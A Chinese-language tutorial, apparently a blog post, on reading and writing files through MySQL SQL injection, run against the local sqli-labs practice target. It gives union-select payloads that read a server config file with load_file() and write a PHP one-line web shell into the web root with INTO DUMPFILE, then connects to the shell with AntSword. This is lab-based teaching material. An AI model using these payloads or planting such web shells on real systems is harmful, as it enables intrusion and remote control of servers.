sql注入文件的讀寫
一、mysql讀寫文件的基本條件
1、數據庫允許讀寫文件
mysql 新版本下secure-file-priv字段 : secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出。
secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下。
secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
所以要進行文件的讀寫是需要很高的權限,最好是root權限;
2、知道要讀寫位置的絕對路徑
當我們要進行文件的讀寫時要知道絕對路徑;當我們要往數據庫里面寫木馬文件,就要知道數據庫的絕對路徑;
二、文件的讀寫語句基本格式
查詢路徑:@@datadir
讀取文件:load_file()
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('文件路徑'),3 --+
例:id=-1' union select 1,load_file('C:\phpStudy\PHPTutorial\MySQL\my.ini'),2 -- -+
寫入文件:into outfile()
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'寫入內容',3 into outfile '文件路徑'--+
例:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\guo.php" --+
三、演示
這里以sqllabs靶場上的less-2做演示如何寫入一句話木馬;
進入頁面,還是常規步驟判斷顯示位,子段數,由於這些都很簡單我們就不再進行演示;

經過我們測試有三個字段,兩個顯示位;接下來我們可以通過@@datadir函數查詢數據庫的絕對路徑;
payload:union select 1,2,@@datadir --+

這里我們查詢得到了數據庫的絕對路徑,可以直接往數據庫中寫入一句話木馬,但是由於知道這個less-7
的絕對路徑也是為了更好的查詢,所以我們直接在靶機的位置寫入一句話木馬;
但是由於靶機默認的 secure_file_priv=null,在這個權限下我們是無法寫入文件的,所以我們要修改my.ini文件,在里面寫入secure_file_priv=" "這樣就不現在文件的讀寫;

修改后我們就可以寫入木馬文件了:
payload:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\test.php" --+

我們通過查看靶場文件位置發現木馬文件已經成功寫入;

接下來我們可以通過http://127.0.0.1/sqli-labs-master/Less-2/test.php跳轉到木馬文件位置

最后我們直接蟻劍連接后台;


我們已經可以通過木馬文件連接后台,讀取后台文件;
參考文章:http://t.csdn.cn/FYdhQ
http://t.csdn.cn/czSG9